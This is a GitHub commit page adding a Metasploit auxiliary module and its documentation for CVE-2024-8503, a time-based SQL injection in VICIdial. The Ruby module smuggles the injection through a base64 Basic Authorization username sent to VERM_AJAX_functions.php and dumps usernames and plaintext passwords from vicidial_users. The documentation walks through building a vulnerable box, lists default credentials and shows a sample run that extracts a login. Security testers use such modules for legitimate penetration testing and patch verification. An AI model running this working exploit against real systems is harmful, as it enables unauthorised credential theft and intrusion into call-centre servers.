Skip to content

Commit 456c57b

Browse files
jheysel-r7jheysel-r7
authored
Merge pull request rapid7#19453 from Chocapikk/vicidial_sqli
Add VICIdial Time-based SQL Injection Module (CVE-2024-8503)
2 parents a794d2a + f62f5b2 commit 456c57b

File tree

2 files changed

+301
-0
lines changed

2 files changed

+301
-0
lines changed

‎documentation/modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.md

Lines changed: 199 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,199 @@
1+
## Vulnerable Application
2+
3+
This module exploits a single authenticated SQL Injection vulnerability in VICIdial, affecting version 2.14-917a.
4+
5+
VICIdial does not encrypt passwords by default.
6+
7+
VICIBox/VICIdial includes an auto-update mechanism, so be aware when creating vulnerable boxes.
8+
9+
### Install
10+
11+
#### Version 11.0.1 Setup
12+
13+
1. **Download the ISO**:
14+
[ViciBox_v11.x86_64-11.0.1-md.iso](http://download.vicidial.com/iso/vicibox/server/ViciBox_v11.x86_64-11.0.1-md.iso)
15+
16+
2. **Create a VM**:
17+
- Connect to the shell using the default credentials:
18+
`root:vicidial` (Note: The keyboard layout is QWERTY by default).
19+
20+
3. **Run the setup and reboot the VM**:
21+
- After rebooting, **do not** run the command `/usr/local/bin/vicibox-install` until after the next step.
22+
23+
4. **Vulnerable Revision Setup**:
24+
- Run the following command to install a vulnerable version of VICIdial:
25+
```
26+
svn checkout -r 3830 svn://svn.eflo.net:3690/agc_2-X/trunk /usr/src/astguiclient/trunk
27+
```
28+
- Revision 3830 is vulnerable to both SQL Injection and RCE.
29+
- Note: The CVEs have been patched starting from revision 3848.
30+
31+
5. **Legacy Installation**:
32+
- Run the installation in legacy mode:
33+
```
34+
vicibox-install --legacy
35+
```
36+
37+
6. **Installer Output Example**:
38+
```
39+
vicibox11:~ # vicibox-install --legacy
40+
41+
ViciBox Installer
42+
43+
Legacy mode activated
44+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
45+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
46+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 137.
47+
Use of uninitialized value $string in substitution (s///) at /usr/local/bin/vicibox-install line 138.
48+
49+
The installer will ask questions based upon the role that this server is
50+
to provide for the ViciBox Call Center Suite. You should have the database
51+
and optionally archive servers setup prior to installing any other servers.
52+
The installer will not run without there being a configured database! If this
53+
server is to be the database then it must be installed before the archive server.
54+
Verify that all servers are connected to the same network and have connectivity
55+
to each other before continuing. This installer will be destructive to the server if it is run.
56+
57+
Do you want to continue with the ViciBox install? [y/N] : y
58+
59+
Do you want to enable expert installation? [y/N] :
60+
61+
The Internal IP address found was 192.168.1.4.
62+
Do you want to use this IP address for ViciDial? [Y/n] : y
63+
64+
Will this server be used as the Database? [y/N] : y
65+
Do you want to use the default ViciDial DB settings? [Y/n] : y
66+
67+
Will this server be used as a Web server? [y/N] : y
68+
69+
Will this server be used as a Telephony server? [y/N] : y
70+
71+
Will this server be used as an Archive server? [y/N] : y
72+
Archive server IP (192.168.1.4) :
73+
Archive FTP User (cronarchive) :
74+
Archive FTP Password (archive1234) :
75+
Archive FTP Port (21) :
76+
Archive FTP Directory () :
77+
Archive URL (http://192.168.1.4/archive/) :
78+
Use of uninitialized value $localsvn in concatenation (.) or string at /usr/local/bin/vicibox-install line 1513, <STDIN> line 14.
79+
80+
The local SVN is build 240419-1817 version 2.14-916a from SVN
81+
Do you want to use the ViciDial version listed above? [Y/n] : y
82+
83+
Do you want to disable the built-in firewall? [y/N] : y
84+
85+
86+
--- ViciBox Install Summary ---
87+
88+
Expert : No
89+
Legacy : Yes
90+
Database : Yes
91+
Web : Yes
92+
Telephony: Yes
93+
First Srv: Yes
94+
Have Arch: No
95+
Archive : Yes
96+
Firewall : Disabled
97+
98+
--- Configuration Information ---
99+
- Database -
100+
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 1609, <STDIN> line 16.
101+
SVN Rev :
102+
IP Addr : 192.168.1.4
103+
Name : asterisk
104+
User : cron
105+
Password : 1234
106+
Cust User: custom
107+
Cust Pass: custom1234
108+
Port : 3306
109+
110+
111+
Please verify the above information before continuing!
112+
Do you want to continue the installation? [y/N] : y
113+
114+
115+
Beginning installation, expect lots of output...
116+
117+
Disabling firewall...
118+
Removed /etc/systemd/system/multi-user.target.wants/firewalld.service.
119+
Removed /etc/systemd/system/dbus-org.fedoraproject.FirewallD1.service.
120+
Use of uninitialized value $DBsvnrev in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
121+
Use of uninitialized value $localsvn in numeric ne (!=) at /usr/local/bin/vicibox-install line 208, <STDIN> line 17.
122+
Use of uninitialized value $DBsvnrev in concatenation (.) or string at /usr/local/bin/vicibox-install line 218, <STDIN> line 17.
123+
Local SVN revision matches DB revision:
124+
Doing general DataBase requirements...
125+
Doing Master-specific MySQL setup...
126+
Configuring Web Server...
127+
Created symlink /etc/systemd/system/httpd.service → /usr/lib/systemd/system/apache2.service.
128+
Created symlink /etc/systemd/system/apache.service → /usr/lib/systemd/system/apache2.service.
129+
Created symlink /etc/systemd/system/multi-user.target.wants/apache2.service → /usr/lib/systemd/system/apache2.service.
130+
Configuring Telephony Server...
131+
Configuring Archive Server...
132+
Nouveau mot de passe : MOT DE PASSE INCORRECT : trop simple/systématique
133+
Retapez le nouveau mot de passe : passwd: password updated successfully
134+
Created symlink /etc/systemd/system/multi-user.target.wants/vsftpd.service → /usr/lib/systemd/system/vsftpd.service.
135+
Loading GMT and Phone Codes...
136+
137+
Seeding the audio store, this may take a while...
138+
139+
PLEASE use secure passwords inside vicidial. It prevents hackers
140+
and other undesirables from compromising your system and costing
141+
you thousands in toll fraud and long distance. A secure password
142+
Contains at least one capital letter and one number. A good example
143+
of a secure password would be NrWZDqL1Rg37uuC.
144+
145+
Don't feed the black market, secure your systems properly!
146+
147+
System should be installed. Please type 'reboot' to cleanly load everything.
148+
149+
```
150+
151+
7. **Post-Installation**:
152+
- After installation, **reboot** the system.
153+
- Access the web panel by navigating to the administration page and completing the initial setup.
154+
155+
## Verification Steps
156+
157+
1. Start msfconsole
158+
1. Do: `use auxiliary/scanner/http/vicidial_sql_enum_users_pass`
159+
1. Do: `set RHOSTS <ip>`
160+
1. Do: `set RPORT <port>`
161+
1. Do: `set TARGETURI <path>`
162+
1. Do: `set COUNT <number>`
163+
1. Do: `set SqliDelay <number>`
164+
1. Do: `run`
165+
1. The module will exploit the SQL injection and return the extracted usernames and passwords
166+
167+
## Options
168+
169+
### COUNT
170+
171+
Number of records to dump. Defaults to 1.
172+
173+
### SqliDelay
174+
175+
Delay in seconds for SQL Injection sleep. Defaults to 1.
176+
177+
## Scenarios
178+
179+
### ViciBox 11.0.1
180+
181+
```
182+
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run http://192.168.1.4
183+
[*] Running module against 192.168.1.4
184+
185+
[*] Checking if target is vulnerable...
186+
[+] Target is vulnerable to SQL injection.
187+
[*] {SQLi} Executing (select group_concat(HCx) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) HCx from vicidial_users limit 1) em)
188+
[*] {SQLi} Encoded to (select group_concat(HCx) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0x88,0)),ifnull(Pass,repeat(0x3f,0))) as binary) HCx from vicidial_users limit 1) em)
189+
[*] {SQLi} Time-based injection: expecting output of length 13
190+
[+] Dumped table contents:
191+
vicidial_users
192+
==============
193+
194+
User Pass
195+
---- ----
196+
6666 password
197+
198+
[*] Auxiliary module execution completed
199+
```

‎modules/auxiliary/scanner/http/vicidial_sql_enum_users_pass.rb

Lines changed: 102 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,102 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Exploit::Remote::HttpClient
8+
include Msf::Exploit::SQLi
9+
10+
def initialize(info = {})
11+
super(
12+
update_info(
13+
info,
14+
'Name' => 'Vicidial SQL Injection Time-based Admin Credentials Enumeration',
15+
'Description' => %q{
16+
This module exploits a time-based SQL injection vulnerability in VICIdial, allowing attackers
17+
to dump admin credentials (usernames and passwords) via SQL injection.
18+
},
19+
'Author' => [
20+
'Valentin Lobstein', # Metasploit Module
21+
'Jaggar Henry of KoreLogic, Inc.' # Vulnerability Discovery
22+
],
23+
'License' => MSF_LICENSE,
24+
'References' => [
25+
['URL', 'https://korelogic.com/Resources/Advisories/KL-001-2024-011.txt'],
26+
['CVE', '2024-8503']
27+
],
28+
'DisclosureDate' => '2024-09-10',
29+
'DefaultOptions' => {
30+
'SqliDelay' => 1,
31+
'VERBOSE' => true
32+
},
33+
'Notes' => {
34+
'Stability' => [CRASH_SAFE],
35+
'SideEffects' => [IOC_IN_LOGS],
36+
'Reliability' => []
37+
}
38+
)
39+
)
40+
41+
register_options(
42+
[
43+
OptString.new('TARGETURI', [true, 'Base path of the VICIdial instance', '/']),
44+
OptInt.new('COUNT', [true, 'Number of records to dump', 1])
45+
]
46+
)
47+
end
48+
49+
def run
50+
print_status('Checking if target is vulnerable...')
51+
52+
setup_sqli
53+
return print_error('Target is not vulnerable.') unless @sqli.test_vulnerable
54+
55+
print_good('Target is vulnerable to SQL injection.')
56+
57+
columns = ['User', 'Pass']
58+
data = @sqli.dump_table_fields('vicidial_users', columns, '', datastore['COUNT'])
59+
60+
table = Rex::Text::Table.new('Header' => 'vicidial_users', 'Indent' => 4, 'Columns' => columns)
61+
data.each do |user|
62+
create_credential({
63+
workspace_id: myworkspace_id,
64+
origin_type: :service,
65+
module_fullname: fullname,
66+
username: user[0],
67+
private_type: :password,
68+
private_data: user[1],
69+
service_name: 'VICIdial',
70+
address: datastore['RHOST'],
71+
port: datastore['RPORT'],
72+
protocol: 'tcp',
73+
status: Metasploit::Model::Login::Status::UNTRIED
74+
})
75+
table << user
76+
end
77+
print_good('Dumped table contents:')
78+
print_line(table.to_s)
79+
end
80+
81+
def setup_sqli
82+
@sqli = create_sqli(
83+
dbms: MySQLi::TimeBasedBlind,
84+
opts: { hex_encode_strings: true }
85+
) do |payload|
86+
random_username = Rex::Text.rand_text_alphanumeric(6, 8)
87+
random_password = Rex::Text.rand_text_alphanumeric(6, 8)
88+
89+
username = "#{random_username}', '', (#{payload}));# "
90+
credentials = "#{username}:#{random_password}"
91+
credentials_base64 = Rex::Text.encode_base64(credentials)
92+
93+
send_request_cgi({
94+
'uri' => normalize_uri(datastore['TARGETURI'], 'VERM', 'VERM_AJAX_functions.php'),
95+
'vars_get' => { 'function' => 'log_custom_report' },
96+
'headers' => {
97+
'Authorization' => "Basic #{credentials_base64}"
98+
}
99+
})
100+
end
101+
end
102+
end

0 commit comments

Comments
 (0)